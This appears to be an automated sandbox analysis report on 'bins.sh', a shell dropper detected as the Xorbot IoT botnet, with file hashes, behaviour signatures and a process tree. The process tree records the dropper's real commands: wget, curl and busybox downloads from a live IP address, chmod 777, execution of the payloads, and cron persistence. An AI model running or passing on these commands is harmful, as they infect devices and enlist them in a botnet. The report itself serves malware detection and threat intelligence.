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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/01/2025, 07:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    35db236417698c215c332fd24c9bc02b

  • SHA1

    d2e56a1c81273893eaadc18883c0205088793c25

  • SHA256

    aebb1cf829ec2f35ee0146b54267a70f5f85b69adbb93fb8a3990846810393ab

  • SHA512

    b03a51f3bd52a962c14b7f9ffcd7c8af340d5995c87e0e550e2fff4d4ab5442d518bc1c74bf7524d4d6f76b05f6e8757a3c9aba01cc6be5c27e572af8c725cd4

  • SSDEEP

    192:bfqxWlqR1lxlj0RJJFRpoQvtSwFiaCf7CkqxWlqR1l3eRJJFRpoQTGs5iaCf73:bcjYTD9tSwFiaCf7CSTDNGs5iaCf73

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1674) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:648
        • /usr/bin/wget
          wget http://66.63.187.225/bins/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
          2⤵
          • Writes file to tmp directory
          PID:650
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:675
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
          2⤵
          • Writes file to tmp directory
          PID:690
        • /bin/chmod
          chmod 777 cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
          2⤵
          • File and Directory Permissions Modification
          PID:695
        • /tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
          ./cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
          2⤵
          • Executes dropped EXE
          PID:696
        • /bin/rm
          rm cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J
          2⤵
            PID:698
          • /usr/bin/wget
            wget http://66.63.187.225/bins/COCcstraAjeKbnSWLDeJkLO9FrnbhHWSGK
            2⤵
            • Writes file to tmp directory
            PID:700
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/COCcstraAjeKbnSWLDeJkLO9FrnbhHWSGK
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:722
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/COCcstraAjeKbnSWLDeJkLO9FrnbhHWSGK
            2⤵
            • Writes file to tmp directory
            PID:728
          • /bin/chmod
            chmod 777 COCcstraAjeKbnSWLDeJkLO9FrnbhHWSGK
            2⤵
            • File and Directory Permissions Modification
            PID:733
          • /tmp/COCcstraAjeKbnSWLDeJkLO9FrnbhHWSGK
            ./COCcstraAjeKbnSWLDeJkLO9FrnbhHWSGK
            2⤵
            • Executes dropped EXE
            PID:734
          • /bin/rm
            rm COCcstraAjeKbnSWLDeJkLO9FrnbhHWSGK
            2⤵
              PID:737
            • /usr/bin/wget
              wget http://66.63.187.225/bins/KHpQ4nsYrbtdGPDIwIEcMKcgaBAymJoA9u
              2⤵
              • Writes file to tmp directory
              PID:738
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/KHpQ4nsYrbtdGPDIwIEcMKcgaBAymJoA9u
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:752
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/KHpQ4nsYrbtdGPDIwIEcMKcgaBAymJoA9u
              2⤵
              • Writes file to tmp directory
              PID:767
            • /bin/chmod
              chmod 777 KHpQ4nsYrbtdGPDIwIEcMKcgaBAymJoA9u
              2⤵
              • File and Directory Permissions Modification
              PID:768
            • /tmp/KHpQ4nsYrbtdGPDIwIEcMKcgaBAymJoA9u
              ./KHpQ4nsYrbtdGPDIwIEcMKcgaBAymJoA9u
              2⤵
              • Executes dropped EXE
              PID:769
            • /bin/rm
              rm KHpQ4nsYrbtdGPDIwIEcMKcgaBAymJoA9u
              2⤵
                PID:771
              • /usr/bin/wget
                wget http://66.63.187.225/bins/VKO2pCFH8Mwsva1hv9EPLpJ51FNbiUZEBK
                2⤵
                • Writes file to tmp directory
                PID:772
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/VKO2pCFH8Mwsva1hv9EPLpJ51FNbiUZEBK
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:773
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/VKO2pCFH8Mwsva1hv9EPLpJ51FNbiUZEBK
                2⤵
                • Writes file to tmp directory
                PID:774
              • /bin/chmod
                chmod 777 VKO2pCFH8Mwsva1hv9EPLpJ51FNbiUZEBK
                2⤵
                • File and Directory Permissions Modification
                PID:775
              • /tmp/VKO2pCFH8Mwsva1hv9EPLpJ51FNbiUZEBK
                ./VKO2pCFH8Mwsva1hv9EPLpJ51FNbiUZEBK
                2⤵
                • Executes dropped EXE
                PID:776
              • /bin/rm
                rm VKO2pCFH8Mwsva1hv9EPLpJ51FNbiUZEBK
                2⤵
                  PID:778
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/JSkbHAJTNoIRsq54BV2Al5atU7Dnz8hsMQ
                  2⤵
                  • Writes file to tmp directory
                  PID:779
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/JSkbHAJTNoIRsq54BV2Al5atU7Dnz8hsMQ
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:780
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/JSkbHAJTNoIRsq54BV2Al5atU7Dnz8hsMQ
                  2⤵
                  • Writes file to tmp directory
                  PID:781
                • /bin/chmod
                  chmod 777 JSkbHAJTNoIRsq54BV2Al5atU7Dnz8hsMQ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:782
                • /tmp/JSkbHAJTNoIRsq54BV2Al5atU7Dnz8hsMQ
                  ./JSkbHAJTNoIRsq54BV2Al5atU7Dnz8hsMQ
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:783
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:785
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:786
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:787
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:788
                      • /bin/rm
                        rm JSkbHAJTNoIRsq54BV2Al5atU7Dnz8hsMQ
                        2⤵
                          PID:790
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/qa1EwsYfxGPkK1V0QuFKtHvmkEreojrqLs
                          2⤵
                            PID:793

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/COCcstraAjeKbnSWLDeJkLO9FrnbhHWSGK

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/JSkbHAJTNoIRsq54BV2Al5atU7Dnz8hsMQ

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/KHpQ4nsYrbtdGPDIwIEcMKcgaBAymJoA9u

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/VKO2pCFH8Mwsva1hv9EPLpJ51FNbiUZEBK

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /var/spool/cron/crontabs/tmp.SId3Ff

                          Filesize

                          210B

                          MD5

                          ddef652ce57c559d37685a4d7cade843

                          SHA1

                          15838e60fed308b904b7aa6d8c52050e41e28520

                          SHA256

                          d1f234236867a4ec9b4df91235b0e7e7d7fa76d976c587cbc5ab906a6f7b5d18

                          SHA512

                          b87c5a7fec8704dc0c22975086925d2b071a3918717d1beabef13da5c8dce6096760c252b4bc1f12171c40f4953b3572e3e30edb4cd21d658898c17a611bfff3